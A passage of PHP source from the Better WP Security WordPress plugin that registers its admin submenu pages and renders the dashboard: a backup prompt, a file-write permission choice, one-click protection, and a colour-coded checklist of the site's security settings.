__( $this->pluginname, $this->hook ) . ' - ' . __( 'Backup WordPress Database', $this->hook ),
__( 'Database Backup', $this->hook ),
$this->accesslvl,
$this->hook . '-databasebackup',
array( &$this, 'admin_databasebackup' )
);
if ( $bwpsoptions['st_writefiles'] == 1 ) {
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Change Database Prefix', $this->hook ),
__( 'Database Prefix', $this->hook ),
$this->accesslvl,
$this->hook . '-databaseprefix',
array( &$this, 'admin_databaseprefix' )
);
}
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Hide Backend', $this->hook ),
__( 'Hide Backend', $this->hook ),
$this->accesslvl,
$this->hook . '-hidebackend',
array( &$this, 'admin_hidebackend' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Intrusion Detection', $this->hook ),
__( 'Intrusion Detection', $this->hook ),
$this->accesslvl,
$this->hook . '-intrusiondetection',
array( &$this, 'admin_intrusiondetection' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Limit Login Attempts', $this->hook ),
__( 'Login Limits', $this->hook ),
$this->accesslvl,
$this->hook . '-loginlimits',
array( &$this, 'admin_loginlimits' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'Secure Communications With SSL', $this->hook ),
__( 'SSL', $this->hook ),
$this->accesslvl,
$this->hook . '-ssl',
array( &$this, 'admin_ssl' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'WordPress System Tweaks', $this->hook ),
__( 'System Tweaks', $this->hook ),
$this->accesslvl,
$this->hook . '-systemtweaks',
array( &$this, 'admin_systemtweaks' )
);
add_submenu_page(
$this->hook,
__( $this->pluginname, $this->hook ) . ' - ' . __( 'View Logs', $this->hook ),
__( 'View Logs', $this->hook ),
$this->accesslvl,
$this->hook . '-logs',
array( &$this, 'admin_logs' )
);
//Make the dashboard the first submenu item and the item to appear when clicking the parent.
global $submenu;
if ( isset( $submenu[$this->hook] ) ) {
$submenu[$this->hook][0][0] = __( 'Dashboard', 'better-wp-security' );
}
}
}
/**
* Registers content blocks for dashboard page
*
**/
function admin_dashboard() {
global $bwpsoptions, $bwpstabs;
if ( $bwpsoptions['oneclickchosen'] == 1 && $bwpsoptions['initial_backup'] == 1 && $bwpsoptions['initial_filewrite'] == 1 ) { //they've backed up their database or ignored the warning
$this->admin_page(
$this->pluginname . ' - ' . __( 'System Status', $this->hook ),
array(
array( __( 'System Status', $this->hook ), 'dashboard_content_4' ), //Better WP Security System Status
array( __( 'System Information', $this->hook ), 'dashboard_content_7' ), //Generic System Information
array( __( 'Rewrite Rules', $this->hook ), 'dashboard_content_5' ), //Better WP Security Rewrite Rules
array( __( 'Wp-config.php Code', $this->hook ), 'dashboard_content_6' ) //Better WP Security Rewrite Rules
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
} elseif ( $bwpsoptions['oneclickchosen'] == 0 && $bwpsoptions['initial_backup'] == 1 && $bwpsoptions['initial_filewrite'] == 1 ) { //they've backed up their database or ignored the warning
$this->admin_page(
$this->pluginname . ' - ' . __( 'System Status', $this->hook ),
array(
array( __( 'One-Click Protection', $this->hook ), 'dashboard_content_3' ) //One-click protection
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
} elseif ( $bwpsoptions['oneclickchosen'] == 0 && $bwpsoptions['initial_backup'] == 1 && $bwpsoptions['initial_filewrite'] == 0 ) {
$this->admin_page(
$this->pluginname . ' - ' . __( 'System Status', $this->hook ),
array(
array( __( 'Important', $this->hook ), 'dashboard_content_2' ), //Ask the user if they want BWPS to automatically write to system files
),
BWPS_PU . 'images/shield-large.png',
array()
);
} else { //if they haven't backed up their database or ignored the warning
$this->admin_page(
$this->pluginname . ' - ' . __( 'System Status', $this->hook ),
array(
array( __( 'Welcome!', $this->hook ), 'dashboard_content_1' ), //Try to force the user to back up their site before doing anything else
),
BWPS_PU . 'images/shield-large.png',
array()
);
}
}
/**
* Registers content blocks for change admin user page
*
**/
function admin_adminuser() {
global $bwpstabs;
if ( ! is_multisite() ) {
$this->admin_page(
$this->pluginname . ' - ' . __( 'Change Admin User', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'adminuser_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Change The Admin User Name', $this->hook ), 'adminuser_content_2' ), //adminuser options
array( __( 'Change The Admin User ID', $this->hook ), 'adminuser_content_3' ) //adminuser options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
} else {
$this->admin_page(
$this->pluginname . ' - ' . __( 'Change Admin User', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'adminuser_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Change The Admin User Name', $this->hook ), 'adminuser_content_2' )
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs,
$this->hook . '-adminuser'
);
}
}
/**
* Registers content blocks for away mode page
*
**/
function admin_awaymode() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Administor Away Mode', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'awaymode_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Away Mode Options', $this->hook ), 'awaymode_content_2' ), //awaymode options
array( __( 'Away Mode Rules', $this->hook ), 'awaymode_content_3' )
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for ban hosts page
*
**/
function admin_banusers() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Ban Users', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'banusers_content_1' ), //information to prevent the user from getting in trouble
array( __( 'User and Bot Blacklist', $this->hook ), 'banusers_content_2' ), //banusers options
array( __( 'Banned Users Configuration', $this->hook ), 'banusers_content_3' ) //banusers options
),
BWPS_PU . 'images/shield-large.png'
,
$bwpstabs
);
}
/**
* Registers content blocks for content directory page
*
**/
function admin_contentdirectory() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Change wp-content Directory', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'contentdirectory_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Change The wp-content Directory', $this->hook ), 'contentdirectory_content_2' ) //contentdirectory options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for database backup page
*
**/
function admin_databasebackup() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Backup WordPress Database', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'databasebackup_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Full WordPress Backup and Restore (Files and Database)', $this->hook ), 'databasebackup_content_5' ), //BackupBuddy Signup Form.
array( __( 'Backup Your WordPress Database only (requires manual restore)', $this->hook ), 'databasebackup_content_2' ), //backup switch
array( __( 'Schedule Automated Backups', $this->hook ), 'databasebackup_content_3' ), //scheduled backup options
array( __( 'Backup Information', $this->hook ), 'databasebackup_content_4' ), //where to find downloads
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for database prefix page
*
**/
function admin_databaseprefix() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Change Database Prefix', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'databaseprefix_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Change The Database Prefix', $this->hook ), 'databaseprefix_content_2' ) //databaseprefix options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for hide backend page
*
**/
function admin_hidebackend() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Hide WordPress Backend', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'hidebackend_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Hide Backend Options', $this->hook ), 'hidebackend_content_2' ), //hidebackend options
array( __( 'Secret Key', $this->hook ), 'hidebackend_content_3' ) //hidebackend secret key information
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for intrusion detection page
*
**/
function admin_intrusiondetection() {
global $bwpsoptions, $bwpstabs;
if ( $bwpsoptions['id_fileenabled'] == 1 && defined( 'BWPS_FILECHECK' ) && BWPS_FILECHECK === true ) {
$this->admin_page(
$this->pluginname . ' - ' . __( 'Intrusion Detection', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'intrusiondetection_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Check For File Changes', $this->hook ), 'intrusiondetection_content_2' ), //Manually check for file changes
array( __( 'Intrusion Detection', $this->hook ), 'intrusiondetection_content_3' ) //intrusiondetection options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
} else {
$this->admin_page(
$this->pluginname . ' - ' . __( 'Intrusion Detection', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'intrusiondetection_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Intrusion Detection', $this->hook ), 'intrusiondetection_content_3' ) //intrusiondetection options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
}
/**
* Registers content blocks for login limits page
*
**/
function admin_loginlimits() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Limit Login Attempts', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'loginlimits_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Limit Login Attempts', $this->hook ), 'loginlimits_content_2' ) //loginlimit options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for SSL page
*
**/
function admin_ssl() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'SSL', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'ssl_content_1' ), //information to prevent the user from getting in trouble
array( __( 'SSL Options', $this->hook ), 'ssl_content_2' ) //ssl options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for system tweaks page
*
**/
function admin_systemtweaks() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Various Security Tweaks', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'systemtweaks_content_1' ), //information to prevent the user from getting in trouble
array( __( 'System Tweaks', $this->hook ), 'systemtweaks_content_2' ) //systemtweaks htaccess (or other rewrite) options
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Registers content blocks for view logs page
*
**/
function admin_logs() {
global $bwpstabs;
$this->admin_page(
$this->pluginname . ' - ' . __( 'Better WP Security Logs', $this->hook ),
array(
array( __( 'Before You Begin', $this->hook ), 'logs_content_1' ), //information to prevent the user from getting in trouble
array( __( 'Clean Database', $this->hook ), 'logs_content_2' ), //Clean Database
array( __( 'Current Lockouts', $this->hook ), 'logs_content_3' ), //Current Lockouts log
array( __( '404 Errors', $this->hook ), 'logs_content_4' ), //404 Errors
array( __( 'Bad Login Attempts', $this->hook ), 'logs_content_7' ), //404 Errors
array( __( 'All Lockouts', $this->hook ), 'logs_content_5' ), //All Lockouts
array( __( 'Changed Files', $this->hook ), 'logs_content_6' ) //Changed Files
),
BWPS_PU . 'images/shield-large.png',
$bwpstabs
);
}
/**
* Dashboard intro prior to first backup
*
**/
function dashboard_content_1() {
?>
<p><?php _e( 'Welcome to Better WP Security!', 'better-wp-security' ); ?></p>
<p><?php echo __( 'Before we begin it is extremely important that you make a backup of your database. This will make sure you can get your site back to the way it is right now should something go wrong. Click the button below to make a backup which will be emailed to the website administrator at ', $this->hook ) . '<strong>' . get_option( 'admin_email' ) . '</strong>'; ?></p>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="dashboard_1" />
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Create Database Backup', 'better-wp-security' ); ?>" /></p>
</form>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="dashboard_2" />
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'No, thanks. I already have a backup', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Ask the user if they want the plugin to automatically write to system files
*
**/
function dashboard_content_2() {
?>
<p><?php _e( 'Just one more question:', 'better-wp-security' ); ?></p>
<p><?php _e( 'Better WP Security can automatically write to WordPress core files for you (wp-config.php and .htaccess). This saves time and prevents you from having to edit code yourself. While this is safe to do in nearly all systems it can, on some server configurations, cause problems. For this reason, before continuing, you have the option to allow this plugin to write to wp-config.php and .htaccess or not.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Note, that this option can be changed later in the "System Tweaks" menu of this plugin. In addition, disabling file writes here will prevent this plugin from activation features such as changing the wp-content directory and changing the database prefix.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Finally, please remember that in nearly all cases there is no issue with allowing this plugin to edit your files. However if you know your have a unique server setup or simply would rather edit these files yourself I would recommend selecting "Do not allow this plugin to change WordPress core files."', 'better-wp-security' ); ?></p>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="dashboard_3" />
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Allow this plugin to change WordPress core files', 'better-wp-security' ); ?>" /></p>
</form>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="dashboard_4" />
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Do not allow this plugin to change WordPress core files.', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* One-click mode
*
* Information and form to turn on basic security with 1-click
*
**/
function dashboard_content_3() {
?>
<form method="post" action="">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="dashboard_5" />
<input type="hidden" name="oneclick" value="1" />
<p><?php _e( 'The button below will turn on all the basic features of Better WP Security which will help automatically protect your site from potential attacks. Please note that it will NOT automatically activate any features which may interfere with other plugins, themes, or content on your site. As such, not all the items in the status will turn green by using the "Secure My Site From Basic Attacks" button. The idea is to activate basic features in one-click so you don\'t have to worry about it.', 'better-wp-security' ); ?></p>
<p><?php _e( 'Please note this will not make any changes to any files on your site including .htaccess and wp-config.php.', 'better-wp-security' ); ?></p>
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'Secure My Site From Basic Attacks', 'better-wp-security' ); ?>" /></p>
</form>
<form method="post" action = "">
<?php wp_nonce_field( 'BWPS_admin_save','wp_nonce' ); ?>
<input type="hidden" name="bwps_page" value="dashboard_5" />
<input type="hidden" name="oneclick" value="0" />
<p class="submit"><input type="submit" class="button-primary" value="<?php _e( 'No thanks, I prefer to do configure everything myself.', 'better-wp-security' ); ?>" /></p>
</form>
<?php
}
/**
* Better WP Security System Status
*
**/
function dashboard_content_4() {
global $wpdb, $bwpsoptions, $bwpsmemlimit;
?>
<ol>
<li class="securecheck">
<?php
$isOn = $bwpsoptions['st_enablepassword'];
$role = $bwpsoptions['st_passrole'];
?>
<?php if ( $isOn == 1 && $role == 'subscriber' ) { ?>
<span style="color: green;"><?php _e( 'You are enforcing strong passwords for all users.', $this-> hook ); ?></span>
<?php } elseif ( $isOn == 1 ) { ?>
<span style="color: orange;"><?php _e( 'You are enforcing strong passwords, but not for all users.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_passrole"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: red;"><?php _e( 'You are not enforcing strong passwords.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_enablepassword"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php $hcount = intval( $bwpsoptions['st_manifest'] ) + intval( $bwpsoptions['st_generator'] ) + intval( $bwpsoptions['st_edituri'] ); ?>
<?php if ( $hcount == 3 ) { ?>
<span style="color: green;"><?php _e( 'Your WordPress header is revealing as little information as possible.', $this-> hook ); ?></span>
<?php } elseif ( $hcount > 0 ) { ?>
<span style="color: blue;"><?php _e( 'Your WordPress header is still revealing some information to users.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_generator"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: red;"><?php _e( 'Your WordPress header is showing too much information to users.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_generator"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php $hcount = intval( $bwpsoptions['st_themenot'] ) + intval( $bwpsoptions['st_pluginnot'] ) + intval( $bwpsoptions['st_corenot'] ); ?>
<?php if ( $hcount == 3 ) { ?>
<span style="color: green;"><?php _e( 'Non-administrators cannot see available updates.', $this-> hook ); ?></span>
<?php } elseif ( $hcount > 0 ) { ?>
<span style="color: orange;"><?php _e( 'Non-administrators can see some updates.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_themenot"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: red;"><?php _e( 'Non-administrators can see all updates.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_themenot"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $this->user_exists( 'admin' ) ) { ?>
<span style="color: red;"><?php _e( 'The <em>admin</em> user still exists.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-adminuser"><?php _e( 'Click here to rename admin.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: green;"><?php _e( 'The <em>admin</em> user has been removed.', $this-> hook ); ?></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $this->user_exists( '1' ) ) { ?>
<span style="color: red;"><?php _e( 'A user with id 1 still exists.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-adminuser"><?php _e( 'Click here to change user 1\'s ID.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: green;"><?php _e( 'The user with id 1 has been removed.', $this-> hook ); ?></span>
<?php } ?>
</li>
<?php if ( $bwpsoptions['st_writefiles'] == 1 ) { ?>
<li class="securecheck">
<?php if ( $wpdb->base_prefix == 'wp_' ) { ?>
<span style="color: red;"><?php _e( 'Your table prefix should not be ', 'better-wp-security' ); ?><em>wp_</em>. <a href="admin.php?page=better-wp-security-databaseprefix"><?php _e( 'Click here to rename it.', 'better-wp-security' ); ?></a></span>
<?php } else { ?>
<span style="color: green;"><?php echo __( 'Your table prefix is', $this->hook ) . ' ' . $wpdb->base_prefix; ?></span>
<?php } ?>
</li>
<?php } ?>
<li class="securecheck">
<?php if ( $bwpsoptions['backup_enabled'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'You have scheduled regular backups of your WordPress database.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'You are not scheduling regular backups of your WordPress database.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-databasebackup"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['am_enabled'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Your WordPress admin area is not available when you will not be needing it.', 'better-wp-security' ); ?>. </span>
<?php } else { ?>
<span style="color: orange;"><?php _e( 'Your WordPress admin area is available 24/7. Do you really update 24 hours a day?', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-awaymode"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['bu_blacklist'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'You are blocking known bad hosts and agents with HackRepair.com\'s blacklist.', 'better-wp-security' ); ?>. </span>
<?php } else { ?>
<span style="color: orange;"><?php _e( 'You are not blocking known bad hosts and agents with HackRepair.com\'s blacklist?', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-banusers"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['ll_enabled'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Your login area is protected from brute force attacks.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: red;"><?php _e( 'Your login area is not protected from brute force attacks.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-loginlimits"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['hb_enabled'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Your WordPress admin area is hidden.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'Your WordPress admin area is not hidden.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-hidebackend"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php $hcount = intval( $bwpsoptions['st_ht_files'] ) + intval( $bwpsoptions['st_ht_browsing'] ) + intval( $bwpsoptions['st_ht_request'] ) + intval( $bwpsoptions['st_ht_query'] ); ?>
<?php if ( $hcount == 4 ) { ?>
<span style="color: green;"><?php _e( 'Your .htaccess file is fully secured.', $this-> hook ); ?></span>
<?php } elseif ( $hcount > 0 ) { ?>
<span style="color: blue;"><?php _e( 'Your .htaccess file is partially secured.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_ht_files"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'Your .htaccess file is NOT secured.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_ht_files"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['id_enabled'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Your installation is actively blocking attackers trying to scan your site for vulnerabilities.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: red;"><?php _e( 'Your installation is not actively blocking attackers trying to scan your site for vulnerabilities.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-intrusiondetection"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['id_fileenabled'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Your installation is actively looking for changed files.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<?php
if ( $bwpsmemlimit >= 128 ) {
$idfilecolor = 'red';
} else {
$idfilecolor = 'blue';
}
?>
<span style="color: <?php echo $idfilecolor; ?>;"><?php _e( 'Your installation is not actively looking for changed files.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-intrusiondetection#id_fileenabled"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['st_longurl'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Your installation does not accept long URLs.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'Your installation accepts long (over 255 character) URLS. This can lead to vulnerabilities.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_longurl"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['st_fileedit'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'You are not allowing users to edit theme and plugin files from the WordPress backend.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'You are allowing users to edit theme and plugin files from the WordPress backend.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_fileedit"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['st_writefiles'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Better WP Security is allowed to write to wp-config.php and .htaccess.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'Better WP Security is not allowed to write to wp-config.php and .htaccess.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_writefiles"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['st_fileperm'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'wp-config.php and .htacess are not writeable.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'wp-config.php and .htacess are writeable.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_fileperm"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<li class="securecheck">
<?php if ( $bwpsoptions['st_randomversion'] == 1 ) { ?>
<span style="color: green;"><?php _e( 'Version information is obscured to all non admin users.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'Users may still be able to get version information from various plugins and themes.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-systemtweaks#st_randomversion"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<?php if ( $bwpsoptions['st_writefiles'] == 1 ) { ?>
<li class="securecheck">
<?php if ( ! strstr( WP_CONTENT_DIR, 'wp-content' ) || ! strstr( WP_CONTENT_URL, 'wp-content' ) ) { ?>
<span style="color: green;"><?php _e( 'You have renamed the wp-content directory of your site.', 'better-wp-security' ); ?></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'You should rename the wp-content directory of your site.', 'better-wp-security' ); ?> <a href="admin.php?page=better-wp-security-contentdirectory"><?php _e( 'Click here to do so.', 'better-wp-security' ); ?></a></span>
<?php } ?>
</li>
<?php } ?>
<li class="securecheck">
<?php if ( FORCE_SSL_LOGIN === true && FORCE_SSL_ADMIN === true ) { ?>
<span style="color: green;"><?php _e( 'You are requiring a secure connection for logins and the admin area.', $this-> hook ); ?></span>
<?php } elseif ( FORCE_SSL_LOGIN === true || FORCE_SSL_ADMIN === true ) { ?>
<span style="color: blue;"><?php _e( 'You are requiring a secure connection for logins or the admin area but not both.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-ssl#ssl_frontend"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } else { ?>
<span style="color: blue;"><?php _e( 'You are not requiring a secure connection for logins or for the admin area.', $this-> hook ); ?> <a href="admin.php?page=better-wp-security-ssl#ssl_frontend"><?php _e( 'Click here to fix.', $this-> hook ); ?></a></span>
<?php } ?>
</li>
<?php if ( $bwpsoptions['st_writefiles'] == 0 ) { ?>
<li class="securecheck">
<span style="color: orange;"><?php _e( 'Notice: Some items are hidden as you are not allowing this plugin to write to core files.', 'better-wp-security' ); ?></span> <a href="admin.php?page=better-wp-security-systemtweaks#st_writefiles"><?php _e( 'Click here to fix.', 'better-wp-security' ); ?></a></span>
</li>
<?php } ?>
</ol>
<hr />
<ul>
<li><span style="color: green;"><?php _e( 'Items in green are fully secured. Good Job!', 'better-wp-security' ); ?></span></li>
<li><span style="color: orange;"><?php _e( 'Items in orange are partially secured. Turn on more options to fully secure these areas.', 'better-wp-security' ); ?></span></li>
<li><span style="color: red;"><?php _e( 'Items in red are not secured. You should secure these items immediately', 'better-wp-security' ); ?></span></li>
<li><span style="color: blue;"><?php _e( 'Items in blue are not fully secured but may conflict with other themes, plugins, or the other operation of your site. Secure them if you can but if you cannot do not worry about them.', 'better-wp-security' ); ?></span></li>
</ul>
<?php
}
/**
* Rewrite rules
*
* Rewrite rules generated by better wp security
*
**/
function dashboard_content_5() {
$rules = $this->getrules();
if ( $rules == '') {
?>
<p><?php _e( 'No rules have been generated. Turn on more features to see rewrite rules.', 'better-wp-security' ); ?></p>
<?php
} else {
?>
<style type="text/css">
code {
overflow-x: auto; /* Use horizontal scroller if needed; for Firefox 2, not needed in Firefox 3 */
overflow-y: hidden;
background-color: transparent;
white-space: pre-wrap; /* css-3 */
white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */
white-space: -pre-wrap; /* Opera 4-6 */
white-space: -o-pre-wrap; /* Opera 7 */
/* width: 99%; */
word-wrap: break-word; /* Internet Explorer 5.5+ */
}
</style>
<?php echo highlight_string( $rules, true ); ?>
<?php
}
}
/**
* wp-content.php Rules
*
* wp-content.php generated by better wp security
*
**/
function dashboard_content_6() {
$rules = $this->getwpcontent();
if ( $rules == '') {
?>
<p><?php _e( 'No rules have been generated. Turn on more features to see wp-content rules.', 'better-wp-security' ); ?></p>
<?php
} else {
?>
<textarea style="width: 100%; height: 300px;"><?php echo $rules; ?></textarea>
<?php
}
}
/**
* General System Information
*
**/
function dashboard_content_7() {
global $bwps, $wpdb, $bwpsoptions, $bwpsdata;
?>
<ul>
<li>
<h4><?php _e( 'User Information', 'better-wp-security' ); ?></h4>
<ul>
<li><?php _e( 'Public IP Address', 'better-wp-security' ); ?>: <strong><a target="_blank" title="<?php _e( 'Get more information on this address', 'better-wp-security' ); ?>" href="http://whois.domaintools.com/<?php echo $bwps->getIp(); ?>"><?php echo $bwps->getIp(); ?></a></strong></li>
